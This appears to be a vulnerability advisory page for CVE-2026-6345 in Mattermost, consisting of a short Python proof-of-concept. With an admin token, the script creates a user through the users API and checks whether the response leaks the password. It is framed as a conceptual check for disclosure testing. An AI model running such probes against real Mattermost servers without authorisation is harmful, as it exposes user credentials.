CVE-2026-6345 Mattermost密码泄露漏洞

import requests import json # Proof of Concept for CVE-2026-6345 # Description: Demonstrates the potential disclosure of a user password during creation. # Note: This is a conceptual PoC. Actual endpoints may vary. target_url = "https://mattermost.example.com/api/v4/users" auth_token = "Bearer <ADMIN_TOKEN>" # Requires High Privileges (PR:H) headers = { "Authorization": auth_token, "Content-Type": "application/json" } # Payload to create a new user payload = { "email": "[email protected]", "username": "newuser", "password": "SuperSecret123!" } response = requests.post(target_url, headers=headers, json=payload) if response.status_code == 201: data = response.json() # Vulnerability Check: Check if password is returned in the response if "password" in data: print("[!] Vulnerability Confirmed: Password disclosed!") print(f"Leaked Password: {data['password']}") else: print("[*] Password not found in response.") else: print(f"[-] Request failed: {response.status_code}")